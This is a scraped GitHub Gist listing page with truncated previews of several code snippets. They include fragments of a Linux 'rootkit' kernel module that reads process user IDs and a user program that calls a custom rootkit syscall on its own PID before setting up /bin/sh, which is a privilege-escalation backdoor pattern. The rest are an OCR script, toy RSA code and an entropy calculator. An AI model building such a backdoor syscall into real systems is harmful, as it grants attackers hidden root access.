Skip to content

Instantly share code, notes, and snippets.

View rootkit.h
#ifndef __LINUX_ROOTKIT_H
#define __LINUX_ROOTKIT_H
#include <linux/linkage.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#include <linux/sys.h>
#endif
View myprog.c
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#define rootkit(x,y) syscall(__NR_rootkit,x,y)
main() {
printf("Exit code = %d\n\n",rootkit(1,getpid()));
char *cmd[2];
cmd[0] = "/bin/sh";
View rootkit.c
#include "rootkit.h"
int pc = 0;
int print_info(void) {
int o_ruid = current->uid;
int o_euid = current->euid;
int o_suid = current->suid;
pc++;// inc counter
printk("\n *** ---[ Printing %d ] *** \n", pc);
View myprog.c
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#define rootkit(x,y) syscall(__NR_rootkit,x,y)
main() {
printf("Exit code = %d\n\n",rootkit(1,getpid()));
char *cmd[2];
cmd[0] = "/bin/sh";
View ocr.sh
#!/bin/sh
# This script turns ugly scanned images into plaintext
#
# @version 1.00 (ultra alpha)
# OCR program path; we assume tesseract, though.
OCR=tesseract
# Imagemagick
CONVERT=convert
# Do unpaper. This operation is costly, but can improve OCR.
View rsa.py
import numbertheory, time
def rsaKey(p, q):
e = 65537
phi = (p - 1) * (q - 1)
d = numbertheory.inv(phi, e)
return [e, d]
def rsaEnc(n, e, m):
View numbertheory.py
import time, math, sys, random
def gcd(x0, y0):
if x0 == y0:
return -1
while y0:
x0, y0 = y0, x0 % y0
return x0
View gist:104935
import java.io.*;
/**
* Calculates the amount of byte entropy across a window
* size, N. The maximum entropy across any window size
* is N unless N &gt; 255 in which case the maximum number of
* of byte patterns which may exist is 255.
*
* This program is based on Charlie Daly's Entropy.java
* program which does more or less the same thing, but
* this program has lower memory requirements allowing